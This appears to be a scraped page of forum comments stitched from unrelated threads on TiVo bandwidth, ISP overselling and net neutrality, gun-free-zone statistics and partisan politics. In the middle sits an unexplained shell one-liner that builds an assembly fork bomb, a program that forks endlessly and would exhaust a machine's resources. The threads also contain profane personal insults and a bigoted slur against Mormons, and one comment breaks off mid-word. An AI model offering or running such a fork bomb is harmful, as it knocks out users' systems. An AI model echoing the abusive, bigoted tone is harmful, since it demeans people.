Armed With Her Dad’s Gun, This 17-Year-Old Girl Fended Off A Wanted Man Who Broke Into Her Home
I recognize you and some teachers don't feel up to it, but apparently there are people who manage.
much of left-wing thought is a kind of playing with fire by people who don't even know that fire is hot - George Orwell
They deserve each other.
Depends on the source of the content. In some cases, the "my shows" entry provided acts as a link to the stream. In other cases, it's an already downloaded, ready-to-watch file.
Don't disappoint your bird dog. Go to the range.
I have my doubts about that. Bandwidth may not be super expensive in bulk, but it's not free either; I can't see any media company willingly paying for unnecessary bandwidth.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
About what Obama had at that time, nothing special.
It's not just approval vs. disapproval, it is especially how deep the division has become and that's harder to see in those figures but easy to read in the commentaries.
"The likes of Facebook and WhatsApp are free to those whose privacy is of zero value."
Say goodbye to my membership.
That's not how it works. These are shows that (by setting up a "one pass") we're essentially asking it to go out and fetch. You THINK you're asking for it to just record them as they come along in the broadcast schedule, but you can also be telling it to scoop up things which your mapped accounts have access to, or which the networks make available. I've disabled this behavior, now, in any season passes we set up. It's pretty annoying, actually.
Don't disappoint your bird dog. Go to the range.
It's politics as tribalism, and both the "Right" and "Left" sides of the political spectrum (and not just the politicians but the whole voting populace) are descending into it more and more. It's applying evolutionarily hardwired behaviors that may have been applicable to groups of 30 or 300 to a group of 350 million. And it does not work. You could call it caveman behavior, except that I suspect that prehistoric man may have been more rational, not being so subject to constant streams of manipulation and faced with simpler issues. The kind of issues wherein rational thought was more obviously important, because subscribing to bullshit was so obviously fatal. We like to flatter ourselves that us civilized folk are so much better than those of 12,000 years ago, then we engage in types of group-think that would have made them cringe once they understood them.
I don't trust atoms -- they make up stuff.
The division is only deep if you believe the media, I have lots of liberal friends and am an open Trump supporter.
Yeah, none of your comments reek of divisiveness at all... /s
Welcome to the internet, where everyone's an asshole.
LMAO!!!111
Christ, you are so fucking stupid.
I never called Romney a Nazi, nor would I ever. I haven't called Trump a Nazi either, but he sure enjoys their support, and his embrace of The Big Lie and attacks against any form of truth or reality that doesn't fit his narrative absolutely qualify as "starting to talk like one".
Worst thing I ever called Romney was a corporate raider, an accusation I don't feel was inaccurate. Other than that- pretty good guy. I wouldn't have minded him as President.
You're such a partisan fuckwit, you know that? You're incapable of seeing anything but red or blue, or probably as it is in your head- good and evil.
That's the plural "you". Every Republican political figure in my lifetime has been called Hitler. Trump is Hitler. Romney was Hitler. John McCain? Oh you bet he was called Hitler. GW Bush? His nickname wasn't Chimpy McBu$hitler for nothing. GHW "CIA Director" Bush? Hitler. Ronald Reagan? Hitler. Nixon? Hitler. It's just a kneejerk hysterical reaction, and it's old as hell.
Wouldn't have minded Romney as president? He's a MORMON, for fuck's sake! It's a nazi religious cult! He said crazy shit that you laughed at, like Russia is an adversary. Hey, the 1980s called, they want their foreign policy back.
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
You're too dumb to see this isn't an argument, stopped reading there and won't carry on a conversation
In other words: you made it up.
with someone too lazy/scared to check something which might conflict with their beliefs,
In other words you KNOW you made it up.
even if you weren't a foreigner commenting on US politics.
Oe noes teh evul forrners are using their free speech to point out my bullshit! I can't cope! Heeeeeelpppp!
Get off our internet.
I'll get off yours if you get off mine.
SJW n. One who posts facts.
Perhaps that was the NRA's intention. We can hope.
Well that's a stupid thing for TiVo to do by default, especially given that many of their users are likely to be on metered or bandwidth-limited connections. The only person I know with a TiVo, for example, is on HughesNet with a 30GB monthly cap. He must've turned that feature off, because I haven't heard him bitch about it yet.
That still doesn't answer as to why your content is more important than mine and should be allowed to flow freely while mine should not.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
That's very interesting. I followed the link to the Crime Research Prevention Center. They seem to be very picky about the definition of "mass-shooting" and "gun-free zones".
At least they published Everytown's report:
Analysis of Recent Mass Shootings
Here's a response from Everytown:
The Gun Lobby’s False Claims About “Gun-Free Zones”
Of 133 mass shootings identified between January 2009 and July 2015, only 17 (13%) took place in “gun-free zones” (areas where the carrying of concealed guns is prohibited). The remaining incidents took place in private residences, or public places where concealed guns could be lawfully carried.
I got to wondering what the CPRC was and if they were biased. It's founder and president, John Lott, appears to be a fraud:
When the Gun Lobby Tries to Justify Firearms Everywhere, It Turns to This Guy
The organization, headquartered at his home in Swarthmore, Pennsylvania, produces and publishes “academic quality” reports that have yet to be published in peer-reviewed journals, but are, according to Lott, informally reviewed by the organization’s academic board.
Researchers pressed Lott, then a resident scholar at the American Enterprise Institute, to release the data behind his claim that 98 percent of defensive gun uses in the United States involved a would-be victim merely brandishing a gun. Lott claimed that it was based on a data from a survey he had conducted—but that the data had been lost in a computer crash.
As criticism of Lott mounted, an online commenter, who identified herself as a former student of Lott’s at Penn named Mary Rosh, lavishly praised her former professor and attacked his critics. “He was the best professor that I ever had,” she wrote. After it came out in 2003 that Rosh and Lott shared an internet address, Lott admitted to the sock puppetry, saying that he had been receiving obnoxious phone calls when using his real name, and some of Rosh’s comments were possibly written by his family members on a shared email account. “In most circles, this goes down as fraud,” wrote Science editor-in-chief Donald Kennedy in the magazine.
Bloomberg's Everytown for Gun Safety is fake news
https://crimeresearch.org/2014...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
That still doesn't answer as to why your content is more important than mine and should be allowed to flow freely while mine should not.
That would be between me and the company I've chosen to be my ISP. If I think I can get a better deal or better service from a local, rural-community-serving company with limited resources that protects their users from poorer performance because a tiny number of users are inclined to burn up shared bandwidth moving around terabytes of ripped movies, then why would you want to stop me from making that choice?
Don't disappoint your bird dog. Go to the range.
So first it's the majority of users, YouTube, and TiVo; now it's a tiny number of users and terrabytes of ripped movies. Are you coming around to the realization that your position is more defensible under the guise of preventing copyright infringement, or are you moving the goal posts for fun? How about this: say the tiny number of users moving terabytes of movies work remotely editing footage for large studios. Why shouldn't they be allowed to use that small rural ISP that just so happens to be the only one who'll service their residence? Why is your content any more important than anyone else's? It's really not between you and your ISP, it's between you and the users you claim to be holier than, and for all you know I'm one of them, which makes it between you and me.
The issue with an ISP that "has to" protect some users from the bandwidth use of others is that they're selling you something on paper that they can't provide you in reality. Here's an example that might make sense: a gas station sells 100 customers 10 gallons of gas each; but they only really have 500 gallons to give out. Half of their customers don't need a full 10 gallons to fill their tanks; on average, they need 5 gallons, so that half of the customers uses 250 gallons, which seems fine since half the customers have used half the gas, right?
Now the remaining 50 customers all do need the 10 gallons (or more, but they only bought 10 so that's all they can take) they paid for, but there's only enough left to serve 25 of them in full. Is that the fault of any of the customers? Why should any of the customers accept less than they paid for because the gas station sold more gas than they had to sell?
Why should that be any more acceptable from an ISP?
Yes, you're free to accept it from an ISP if you want, but you should have the expectation of falling on the losing side of the fight for bandwidth just as often as you find yourself on the winning side. You should also understand that the issue is the ISP selling something they don't have, and blame the ISP.
Why?
It's actually really simple.
Let's say that ISP manages to avoid all those Youtube and TiVo users and somehow prevents users from transferring terabytes of ripped movies over their service. That doesn't really free up the nonexistent bandwidth they've sold you and every other one of their customers -- because that bandwadth they sold you didn't exist in the first place. Let's say that same ISP caters exclusively to college students (ironically, the biggest users of Youtube and the most likely movie pirates, but I digress), so you can be assured that most video streaming will be the university's own content (we'll ignore that most of this is likely also hosted on Youtube, making the throttling of Youtube somewhat counterproductive to your original argument). Now, since we're back on your original argument, it's only fair that we go back to mine: that ISP has enough bandwidth to provide 128Kbps to each of their customers, but has sold each of them 5Mbps; how many of them can stream a 3500Kbps video stream simultaneously?
Since we haven't determined how many customers the ISP has, a percentage is acceptable.
SPOILER (but don't take my word for it, do the math yourself): 3500 (bitrate of video) / 128 (actual bitrate available to one user without slowing another user down) = 27.34375. That is, one 3500Kbps (the low end of a reasonable bitrate for 720p streaming content and, in fact, much less than Youtube uses) video stream used the true available bandwidth of 27.34375 of that ISP's customers. 100 (%) / 27.34375 (also %) = 3.6571428571% of the ISPs customers can stream a video from their university before there is no bandwidth left for anyone else to use.
No, kicking off the Youtube and TiVo users and getting rid of the pirates doesn't solve that. And just how do you think prioritizing traffic solves it? By your account, all of that traffic, being the s
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
they're paying for, and that's what most of us just can't get behind.
should read
0.7% of bandwidth for 1-2% of users represents just 35% of what they're paying for, and that's what most of us just can't get behind.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
No, the priority traffic should be whatever the ISP tells their clients will be their priority traffic. If they're trying to get rural users to sign up because it's going to help rural kids connect to their schools and local community colleges, then that's their priority in shaping traffic. If they're telling their customers that they're all about making sure Game Of Thrones won't buffer on them, while WoW might get a little laggy, then THAT'S their priority. The ISP can sink or swim based on how well they understand and communicate to their customers.
Don't disappoint your bird dog. Go to the range.
And if you only have one choice of ISP where you live? What then?
If we had actual competition in the ISP market everywhere in the country, your argument would hold water. We don't, so it really doesn't.
More to the point, when your schools and local community colleges are using Youtube to host their videos, well, you can't very well promise you won't throttle that content, then go on and throttle Youtube, now, can you?
It's almost like you didn't actually read my post because, well, I covered all of this (save for the lack of competition) already.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
And one of the surest ways to guarantee that a small company won't be able to show up where there's no service at all and start serving underserved people (exactly the problem in so many rural areas) is to require them to dedicate 96% of their limited bandwidth to cat videos. Telling them they can't decide how to deploy and run their own network is telling them they can't make an offering in those deprived markets. You're worried about places where only one ISP has previously set up shop. You obviously don't understand what it's like to live someplace where there's NO service. Maybe you need to get out more, and visit the places that grow you your food.
Don't disappoint your bird dog. Go to the range.
If they weren't selling more than 12x the bandwidth they have available, this wouldn't be a problem. I already illustrated how they only need to really be able to supply 11% of what they sell (rather than less than 8.25%), which allows them to oversell by a healthy 9x.
I live very close to the places that grow my food, I buy a lot of it from those places. I know what it's like in those places and they have better internet than I do. It might be different near you, but that's not all rural areas, either.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.